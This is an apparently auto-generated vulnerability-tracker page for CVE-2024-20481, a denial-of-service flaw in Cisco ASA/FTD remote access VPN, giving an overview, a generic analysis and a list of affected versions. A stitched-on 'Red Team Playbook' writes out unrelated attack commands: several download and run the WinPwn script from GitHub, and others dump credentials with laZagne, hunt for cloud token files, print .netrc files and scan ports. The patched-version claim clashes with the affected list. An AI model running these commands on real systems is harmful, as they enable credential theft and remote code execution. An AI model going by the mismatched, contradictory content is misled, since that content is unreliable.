CVE-2024-20481
Overview
This vulnerability is a resource exhaustion flaw affecting the Remote Access VPN (RAVPN) service in Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) Software. It arises from the RAVPN service's inability to properly handle a high volume of unauthenticated VPN authentication requests, leading to depletion of critical system resources. The flaw specifically impacts the VPN authentication handling component, causing it to become unresponsive under excessive load conditions.
Vulnerability Description
A vulnerability in the Remote Access VPN (RAVPN) service of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) of the RAVPN service. This vulnerability is due to resource exhaustion. An attacker could exploit this vulnerability by sending a large number of VPN authentication requests to an affected device. A successful exploit could allow the attacker to exhaust resources, resulting in a DoS of the RAVPN service on the affected device. Depending on the impact of the attack, a reload of the device may be required to restore the RAVPN service. Services that are not related to VPN are not affected. Cisco Talos discussed these attacks in the blog post Large-scale brute-force activity targeting VPNs, SSH services with commonly used login credentials.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause a denial of service of the RAVPN service by overwhelming it with authentication requests. This disruption prevents legitimate VPN users from establishing remote access connections, potentially impacting remote workforce connectivity and secure network access. No user credentials or prior access is required to launch the attack. In some cases, the device may require a reload to restore VPN functionality, causing operational downtime and service interruption.
Solution
Cisco has released security updates addressing this issue in Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) Software versions 6.2.3.5 and later. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-bf-dos-vDZhLqrW available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW. No specific workarounds are provided; timely application of the vendor-supplied software updates is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Remote Access VPN (RAVPN) service of Cisco's Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software arises from a resource exhaustion issue. This flaw allows an unauthenticated remote attacker to send a flood of VPN authentication requests to the affected devices. The excessive number of requests can overwhelm the system's resources, leading to a denial of service (DoS) condition. In such a scenario, legitimate users would be unable to establish VPN connections, and the affected device may require a restart to restore normal functionality. This vulnerability is particularly concerning for organizations that rely on remote access for their operations, as it could disrupt business continuity.
Attack vectors for this vulnerability are straightforward yet effective. An attacker could leverage automated tools to generate a high volume of authentication requests, exploiting the lack of authentication checks on the RAVPN service. This could be executed from a remote location, making it difficult to trace the source of the attack. The simplicity of the attack method means that even individuals with limited technical skills could potentially execute a successful denial of service attack. Furthermore, the nature of the attack does not require sophisticated techniques or insider knowledge, thereby increasing the risk of exploitation.
The real-world impact of this vulnerability can be significant, particularly for businesses that depend on secure remote access for their workforce. A successful denial of service attack could lead to substantial operational disruptions, affecting productivity and potentially resulting in financial losses. Additionally, the inability to connect to the VPN could hinder critical business processes, such as remote work capabilities, secure data access, and client communications. The reputational damage from such an incident could also be severe, as clients and stakeholders may lose trust in an organization's ability to protect its infrastructure and maintain service availability.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular monitoring of network traffic can help identify unusual patterns, such as a sudden spike in VPN authentication requests, which may indicate an ongoing attack. Intrusion detection systems (IDS) can be configured to alert administrators of such anomalies, allowing for timely intervention. Additionally, rate limiting on the RAVPN service can be employed to restrict the number of authentication requests from a single source, thereby reducing the likelihood of resource exhaustion. Organizations should also ensure that they are running the latest versions of Cisco ASA and FTD software, as updates often include security patches that address known vulnerabilities.
In conclusion, the vulnerability in the RAVPN service of Cisco's ASA and FTD Software poses a tangible threat to organizations that rely on secure remote access. The potential for resource exhaustion leading to denial of service attacks underscores the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can safeguard their infrastructure against exploitation and maintain the integrity of their remote access services. Continuous vigilance, combined with timely updates and monitoring, will be essential in mitigating the risks associated with this vulnerability.
Affected Products (289)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.1 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.1:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.2 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.2:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.3 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.3:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.4 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.4:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.5 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.5:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.6 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.6:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.7 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.7:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.8 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.8:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.9 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.9:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.10 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.10:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.11 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.11:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.12 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.12:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.13 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.13:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.14 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.14:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.15 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.15:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.16 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.16:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.17 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.17:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.2.3.18 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.18:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense Software | 6.4.0 |
cpe:2.3:a:cisco:firepower_threat_defense_software:6.4.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-469 | HTTP DoS |
70%
|
— | Low |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20481 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-20481 |